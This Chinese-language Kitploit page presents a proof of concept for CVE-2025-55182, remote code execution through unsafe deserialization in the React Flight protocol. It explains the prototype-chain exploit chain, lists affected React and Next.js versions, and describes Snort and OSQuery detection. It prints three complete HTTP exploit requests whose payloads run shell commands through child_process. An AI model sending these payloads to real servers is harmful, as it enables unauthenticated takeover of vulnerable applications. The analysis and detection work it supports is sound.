Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — 概念验证(PoC)漏洞利用程序,演示如何通过 React Flight 协议中的不安全反序列化实现远程代码执行(CVE-2025-55182)。包含 Snort 和 OSQuery 检测规则。 | Kitploit
工具/GitHubGitHub/phucc29/cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubphucc29/cve-2025-55182

CVE-2025-55182

概念验证(PoC)漏洞利用程序,演示如何通过 React Flight 协议中的不安全反序列化实现远程代码执行(CVE-2025-55182)。包含 Snort 和 OSQuery 检测规则。

查看仓库
24天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

了解 React Server Components 与 Flight 协议

React Server Components 是 React 19 中引入的一项功能,允许组件在服务器端渲染,而非在客户端浏览器中渲染。服务器可以处理复杂的计算任务,同时只将渲染后的结果发送给客户端。

RSC 中服务器与客户端之间的通信基于 React Flight 协议。该协议处理服务器与客户端之间传输数据的序列化与反序列化。当客户端需要调用服务器端函数(Server Action)时,它会发送一个包含已序列化数据的特殊格式请求,供服务器进行反序列化并处理。

Flight 协议使用一种带有数据类型标记的特定序列化格式。例如:

  • $@ 表示对 chunk 的引用。
  • $B 表示对 Blob 的引用。
  • 引用可以包含属性路径,使用冒号进行分隔(例如:$1:constructor:constructor)

漏洞正存在于这种序列化机制中。服务器在处理这些引用时,并未正确验证所请求的属性是否确实是预期模块中的合法导出。

漏洞本质

CVE-2025-55182 本质上是一个不安全反序列化漏洞,存在于 RSC 处理 Flight 协议传入 payload 的方式中。该漏洞位于 react-server-dom-webpack 包中的 requireModule 函数内。

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

严重问题在于使用方括号表示法进行的访问:moduleExports[metadata[2]]

在 JavaScript 中,当使用方括号表示法访问属性时,JavaScript 引擎不仅会检查对象自身的属性,还会遍历整个原型链。这意味着攻击者可以引用模块未明确导出的属性。

最重要的是,JavaScript 中的每个函数都有一个指向 Function 构造函数的 constructor 属性。通过访问 someFunction.constructor,攻击者可以获得对全局 Function 构造函数的引用,当以字符串形式的参数调用时,该构造函数可以执行任意 JavaScript 代码。

该漏洞之所以可以被利用,是因为 React 的 Flight 协议允许客户端通过冒号分隔的引用语法来指定这些属性路径。攻击者可以构造一个类似 $1:constructor:constructor 的引用,该引用将执行如下遍历过程:

  • 获取第 1 号 chunk/模块
  • 访问其 .constructor 属性(获得 Function 构造函数)
  • 再次访问 .constructor(仍然是 Function 构造函数,但确认了访问链)

利用链

阶段 1:构造伪造的 Chunk 对象

PoC 首先发送一个包含三个字段的 multipart form 请求。第一个字段包含一个刻意构造的伪造 Chunk 对象:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

该对象模拟了 React 中 chunk 类的内部结构。通过将 then 设置为引用 Chunk.prototype.then,它创建了一个自引用结构。当 React 处理并 await 这个 Chunk 时,then 方法会以伪造的 Chunk 作为 this 上下文被调用。

阶段 2:利用 Blob 反序列化处理器

下一个关键组件是 $B1337 引用。在 React 的 Flight 协议中,$B 前缀表示 Blob 引用。当 React 处理 Blob 引用时,它会调用一个使用以下表达式的函数:response._formData.get(response._prefix + id)

此处,_response 对象已被注入了恶意属性。当 Blob 处理器执行:response._formData.get(response._prefix + id)

它实际上会执行:Function("process.mainModule.require('child_process').execSync('xcalc');1337")

原因是 _formData.get 被设置为 $1:constructor:constructor,该引用被解析为 Function 构造函数。_prefix 的值包含恶意代码。当二者结合时,Function 构造函数会以恶意代码字符串作为参数被调用,从而创建并执行一个包含任意 JS 代码的函数。

阶段 3:执行代码

Payload process.mainModule.require('child_process').execSync('xcalc') 展示了此利用链的能力。该 Payload 执行以下操作:

  • 访问 process.mainModule(当前正在执行的主模块)
  • 使用 require 方法加载 child_process 模块
  • 调用 execSync 执行操作系统命令
  • 在此例中,打开计算器应用程序(xcalc)以证明利用成功

该 Payload 可以修改为建立反弹 shell、提取包含机密信息的环境变量、读取敏感文件,或执行 Node.js 进程有权执行的任何操作。

分析一个实际 PoC

查看 maple3142 的 PoC 中的一个完整请求:

root@kitploit:~
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Next-Action: x 标头触发了 React 的 Server Action 处理机制。请求体包含 3 个部分:

  • 字段 0:包含恶意 _response 结构的伪造 Chunk 对象。
  • 字段 1:$@0 引用指回字段 0,形成自引用结构。
  • 字段 2:一个空数组,完善了请求结构。

当服务器处理此请求时,它会反序列化字段 0,在字段 1 中遇到 $@0 引用,建立自引用的 then 属性,随后触发 Blob 处理器,该处理器将通过 Function 构造函数执行代码。

受影响版本与攻击面

CVE-2025-55182 影响以下版本的 React Server Components:

  • React 19.0.0、19.1.0、19.1.1 和 19.2.0。
  • Next.js 14.3.0-canary.77 及以上版本、全部 15.x 版本以及修复之前的 16.x 版本。
  • 其他使用 RSC 的框架,如 React Router、Waku、Redwood SDK 以及许多其他 RSC 插件。

该漏洞之所以危险,是因为:

  • 默认配置均受影响:通过 create-next-app 创建的标准 Next.js 应用无需修改源代码即可被利用。
  • 无需身份验证:攻击可以在不需要任何登录凭据的情况下实施。
  • 可靠性高:安全研究人员记录到接近 100% 的利用成功率。
  • 部署广泛:Wiz Research 的数据显示,39% 的云环境包含易受攻击的版本。

根据 Shodan 的数据,有超过 571,000 台公共服务器使用 React 组件,444,000 台服务器使用 Next.js。尽管并非所有服务器都运行受影响版本,但潜在攻击面非常巨大。

检测

攻击请求必须同时具备以下非常特定的要素组合:

  • 标头:包含 Next-Action 标头,且数据格式为 multipart/form-data。
  • Payload:
    • 包含特定的 form-data 声明字符串:name="0"
    • 包含恶意属性,如 "status": "resolved_model"(原始文档上方误写为 "reserved_model",但标准规则是 resolved)
    • 包含字符串 "then":"$1:proto:then" —— 这是一个极其精准的信号,表明攻击者正试图从外部操纵 RSC 机制。

两种检测机制

使用 Snort 进行网络监控

工作原理:此 Snort 规则将阻止/告警发往服务器(to_server)的、具备上文列出的所有异常特征的网络流量(Headers + PCRE 检查恶意 payload 字符串)。

目的:在网络传输过程中及时发现并阻止利用行为。

使用 OSQuery 检查漏洞

工作原理:在服务器上或软件构建流程(CI/CD)中定期运行扫描命令,以查找存在漏洞的 Node.js 库包(npm_packages)。

目标包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack

扫描的漏洞版本:19.0.0、19.1.0 至 19.1.2 以下,以及 19.2.0。

目的:在存在风险的应用程序上线生产环境之前主动发现它们。

供实验(lab)使用的 Payload:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

下载工具